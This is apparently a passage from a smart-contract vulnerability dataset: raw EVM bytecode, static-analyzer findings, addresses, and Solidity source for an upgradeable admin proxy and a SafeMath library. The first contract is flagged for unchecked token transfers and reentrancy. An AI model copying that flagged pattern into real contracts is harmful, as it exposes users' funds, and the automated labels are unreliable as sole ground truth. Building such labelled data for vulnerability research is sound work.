ffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561078a57600080fd5b505af115801561079e573d6000803e3d6000fd5b505050506040513d60208110156107b457600080fd5b8101908080519060200190929190505050507f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f72413382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a160008311156109835761083b838360000154611ab190919063ffffffff16565b8260000181905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156108d657600080fd5b505af11580156108ea573d6000803e3d6000fd5b505050506040513d602081101561090057600080fd5b81019080805190602001909291905050505061092783600754611ab190919063ffffffff16565b6007819055507f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a94243643384604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b6109b06005546109a260025485600001546119e190919063ffffffff16565b611a6790919063ffffffff16565b8260010181905550505050565b6000600454905090565b60025481565b6109d5611afb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c0d57600080fd5b505afa158015610c21573d6000803e3d6000fd5b505050506040513d6020811015610c3757600080fd5b8101908080519060200190929190505050905090565b6003544311610c5b57610e7b565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ce757600080fd5b505afa158015610cfb573d6000803e3d6000fd5b505050506040513d6020811015610d1157600080fd5b81019080805190602001909291905050501115610df357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610db157600080fd5b505afa158015610dc5573d6000803e3d6000fd5b505050506040513d6020811015610ddb57600080fd5b81019080805190602001909291905050509050610df8565b600190505b6000610e1360045460035443036119e190919063ffffffff16565b9050610e2a81600654611b0390919063ffffffff16565b600681905550610e6b610e5a83610e4c600554856119e190919063ffffffff16565b611a6790919063ffffffff16565b600254611b0390919063ffffffff16565b6002819055504360038190555050505b565b60016020528060005260406000206000915090508060000154908060010154905082565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050610eec610c4d565b600081600001541115611066576000610f3e8260010154610f30600554610f2260025487600001546119e190919063ffffffff16565b611a6790919063ffffffff16565b611ab190919063ffffffff16565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610fd357600080fd5b505af1158015610fe7573d6000803e3d6000fd5b505050506040513d6020811015610ffd57600080fd5b8101908080519060200190929190505050507f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f72413382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505b61107d828260000154611b0390919063ffffffff16565b81600001819055506110b26005546110a460025484600001546119e190919063ffffffff16565b611a6790919063ffffffff16565b8160010181905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561116b57600080fd5b505af115801561117f573d6000803e3d6000fd5b505050506040513d602081101561119557600080fd5b8101908080519060200190929190505050506111bc82600754611b0390919063ffffffff16565b6007819055507fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b611223611afb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6112eb610c4d565b7f79a5349732f93288abbb68e251c3dfc325bf3ee6fde7786d919155d39733e0f560045482604051808381526020018281526020019250505060405180910390a18060048190555050565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506113be8160000154600754611ab190919063ffffffff16565b600781905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383600001546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561145b57600080fd5b505af115801561146f573d6000803e3d6000fd5b505050506040513d602081101561148557600080fd5b8101908080519060200190929190505050507f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd9695338260000154604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600081600001819055506000816001018190555050565b60065481565b611515611afb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561165b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611d3a6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060006002549050600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156117ef57600080fd5b505afa158015611803573d6000803e3d6000fd5b505050506040513d602081101561181957600080fd5b810190808051906020019092919050505011156118fb57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156118b957600080fd5b505afa1580156118cd573d6000803e3d6000fd5b505050506040513d60208110156118e357600080fd5b81019080805190602001909291905050509050611900565b600190505b60035443111561196457600061192560045460035443036119e190919063ffffffff16565b905061196061195183611943600554856119e190919063ffffffff16565b611a6790919063ffffffff16565b84611b0390919063ffffffff16565b9250505b6119a583600101546119976005546119898688600001546119e190919063ffffffff16565b611a6790919063ffffffff16565b611ab190919063ffffffff16565b9350505050919050565b60055481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b6000808314156119f45760009050611a61565b6000828402905082848281611a0557fe5b0414611a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611d606021913960400191505060405180910390fd5b809150505b92915050565b6000611aa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b8b565b905092915050565b6000611af383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c51565b905092915050565b600033905090565b600080828401905083811015611b81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083118290611c37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611bfc578082015181840152602081019050611be1565b50505050905090810190601f168015611c295780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611c4357fe5b049050809150509392505050565b6000838311158290611cfe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611cc3578082015181840152602081019050611ca8565b50505050905090810190601f168015611cf05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe776974686472617720616d6f756e742065786365656473206465706f736974656420616d6f756e744f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212200f8ffcda69d9bc7169cda988618439e9b15f9d87fec08e0421e54836c1bc01ab64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,212 |
0x8e65F34FF5925D3D43aD642bEe84ac947583A939
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.8;
//
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
// _fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
//
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe61461005f5780634f1ef286146100925780635c60da1b146101125780638f28397014610143578063f851a4401461017657610055565b3661005557005b61005d61018b565b005b34801561006b57600080fd5b5061005d6004803603602081101561008257600080fd5b50356001600160a01b03166101a5565b61005d600480360360408110156100a857600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d357600080fd5b8201836020820111156100e557600080fd5b8035906020019184600183028401116401000000008311171561010757600080fd5b5090925090506101df565b34801561011e57600080fd5b5061012761028c565b604080516001600160a01b039092168252519081900360200190f35b34801561014f57600080fd5b5061005d6004803603602081101561016657600080fd5b50356001600160a01b03166102c9565b34801561018257600080fd5b50610127610383565b6101936103b4565b6101a361019e610414565b610439565b565b6101ad61045d565b6001600160a01b0316336001600160a01b031614156101d4576101cf81610482565b6101dc565b6101dc61018b565b50565b6101e761045d565b6001600160a01b0316336001600160a01b0316141561027f5761020983610482565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610266576040519150601f19603f3d011682016040523d82523d6000602084013e61026b565b606091505b505090508061027957600080fd5b50610287565b61028761018b565b505050565b600061029661045d565b6001600160a01b0316336001600160a01b031614156102be576102b7610414565b90506102c6565b6102c661018b565b90565b6102d161045d565b6001600160a01b0316336001600160a01b031614156101d4576001600160a01b03811661032f5760405162461bcd60e51b81526004018080602001828103825260368152602001806105816036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035861045d565b604080516001600160a01b03928316815291841660208301528051918290030190a16101cf816104c2565b600061038d61045d565b6001600160a01b0316336001600160a01b031614156102be576102b761045d565b3b151590565b6103bc61045d565b6001600160a01b0316336001600160a01b0316141561040c5760405162461bcd60e51b815260040180806020018281038252603281526020018061054f6032913960400191505060405180910390fd5b6101a36101a3565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610458573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61048b816104e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104ef816103ae565b61052a5760405162461bcd60e51b815260040180806020018281038252603b8152602001806105b7603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220a8d3ca4f14ffb6000287e26314745d2938b42aa29b6e7a019351180a32b693d064736f6c63430007020033
|
{"success": true, "error": null, "results": {}}
| 8,213 |
0xF26972aB7B7538bC37a6604f2D99eeEDCc0882Ba
|
/**
*Submitted for verification at Etherscan.io on 2022-02-10
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
